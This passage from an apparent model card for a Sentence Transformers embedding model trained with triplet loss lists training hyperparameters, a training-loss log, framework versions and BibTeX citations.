- `tpu_metrics_debug`: False |
|
|
- `debug`: [] |
|
|
- `dataloader_drop_last`: False |
|
|
- `dataloader_num_workers`: 0 |
|
|
- `dataloader_prefetch_factor`: None |
|
|
- `past_index`: -1 |
|
|
- `disable_tqdm`: False |
|
|
- `remove_unused_columns`: True |
|
|
- `label_names`: None |
|
|
- `load_best_model_at_end`: False |
|
|
- `ignore_data_skip`: False |
|
|
- `fsdp`: [] |
|
|
- `fsdp_min_num_params`: 0 |
|
|
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} |
|
|
- `fsdp_transformer_layer_cls_to_wrap`: None |
|
|
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} |
|
|
- `deepspeed`: None |
|
|
- `label_smoothing_factor`: 0.0 |
|
|
- `optim`: adamw_torch |
|
|
- `optim_args`: None |
|
|
- `adafactor`: False |
|
|
- `group_by_length`: False |
|
|
- `length_column_name`: length |
|
|
- `ddp_find_unused_parameters`: None |
|
|
- `ddp_bucket_cap_mb`: None |
|
|
- `ddp_broadcast_buffers`: False |
|
|
- `dataloader_pin_memory`: True |
|
|
- `dataloader_persistent_workers`: False |
|
|
- `skip_memory_metrics`: True |
|
|
- `use_legacy_prediction_loop`: False |
|
|
- `push_to_hub`: False |
|
|
- `resume_from_checkpoint`: None |
|
|
- `hub_model_id`: None |
|
|
- `hub_strategy`: every_save |
|
|
- `hub_private_repo`: None |
|
|
- `hub_always_push`: False |
|
|
- `gradient_checkpointing`: False |
|
|
- `gradient_checkpointing_kwargs`: None |
|
|
- `include_inputs_for_metrics`: False |
|
|
- `include_for_metrics`: [] |
|
|
- `eval_do_concat_batches`: True |
|
|
- `fp16_backend`: auto |
|
|
- `push_to_hub_model_id`: None |
|
|
- `push_to_hub_organization`: None |
|
|
- `mp_parameters`: |
|
|
- `auto_find_batch_size`: False |
|
|
- `full_determinism`: False |
|
|
- `torchdynamo`: None |
|
|
- `ray_scope`: last |
|
|
- `ddp_timeout`: 1800 |
|
|
- `torch_compile`: False |
|
|
- `torch_compile_backend`: None |
|
|
- `torch_compile_mode`: None |
|
|
- `include_tokens_per_second`: False |
|
|
- `include_num_input_tokens_seen`: False |
|
|
- `neftune_noise_alpha`: None |
|
|
- `optim_target_modules`: None |
|
|
- `batch_eval_metrics`: False |
|
|
- `eval_on_start`: False |
|
|
- `use_liger_kernel`: False |
|
|
- `eval_use_gather_object`: False |
|
|
- `average_tokens_across_devices`: False |
|
|
- `prompts`: None |
|
|
- `batch_sampler`: no_duplicates |
|
|
- `multi_dataset_batch_sampler`: proportional |
|
|
|
|
|
</details> |
|
|
|
|
|
### Training Logs |
|
|
| Epoch | Step | Training Loss | |
|
|
|:------:|:----:|:-------------:| |
|
|
| 0.0372 | 100 | 1.1693 | |
|
|
| 0.0745 | 200 | 0.0311 | |
|
|
| 0.1117 | 300 | 0.0292 | |
|
|
| 0.1490 | 400 | 0.0112 | |
|
|
| 0.1862 | 500 | 0.0105 | |
|
|
| 0.2235 | 600 | 0.0214 | |
|
|
| 0.2607 | 700 | 0.0185 | |
|
|
| 0.2980 | 800 | 0.0177 | |
|
|
| 0.3352 | 900 | 0.0074 | |
|
|
| 0.3724 | 1000 | 0.0014 | |
|
|
| 0.4097 | 1100 | 0.0115 | |
|
|
| 0.4469 | 1200 | 0.0106 | |
|
|
| 0.4842 | 1300 | 0.0017 | |
|
|
| 0.5214 | 1400 | 0.012 | |
|
|
| 0.5587 | 1500 | 0.0105 | |
|
|
| 0.5959 | 1600 | 0.0065 | |
|
|
| 0.6331 | 1700 | 0.0029 | |
|
|
| 0.6704 | 1800 | 0.0066 | |
|
|
| 0.7076 | 1900 | 0.0057 | |
|
|
| 0.7449 | 2000 | 0.006 | |
|
|
| 0.7821 | 2100 | 0.0015 | |
|
|
| 0.8194 | 2200 | 0.002 | |
|
|
| 0.8566 | 2300 | 0.0023 | |
|
|
| 0.8939 | 2400 | 0.0016 | |
|
|
| 0.9311 | 2500 | 0.0015 | |
|
|
| 0.9683 | 2600 | 0.0021 | |
|
|
|
|
|
|
|
|
### Framework Versions |
|
|
- Python: 3.11.13 |
|
|
- Sentence Transformers: 4.1.0 |
|
|
- Transformers: 4.52.4 |
|
|
- PyTorch: 2.6.0+cu124 |
|
|
- Accelerate: 1.7.0 |
|
|
- Datasets: 3.6.0 |
|
|
- Tokenizers: 0.21.1 |
|
|
|
|
|
## Citation |
|
|
|
|
|
### BibTeX |
|
|
|
|
|
#### Sentence Transformers |
|
|
```bibtex |
|
|
@inproceedings{reimers-2019-sentence-bert, |
|
|
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", |
|
|
author = "Reimers, Nils and Gurevych, Iryna", |
|
|
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", |
|
|
month = "11", |
|
|
year = "2019", |
|
|
publisher = "Association for Computational Linguistics", |
|
|
url = "https://arxiv.org/abs/1908.10084", |
|
|
} |
|
|
``` |
|
|
|
|
|
#### TripletLoss |
|
|
```bibtex |
|
|
@misc{hermans2017defense, |
|
|
title={In Defense of the Triplet Loss for Person Re-Identification}, |
|
|
author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, |
|
|
year={2017}, |
|
|
eprint={1703.07737}, |
|
|
archivePrefix={arXiv}, |
|
|
primaryClass={cs.CV} |
|
|
} |
|
|
``` |
|
|
|
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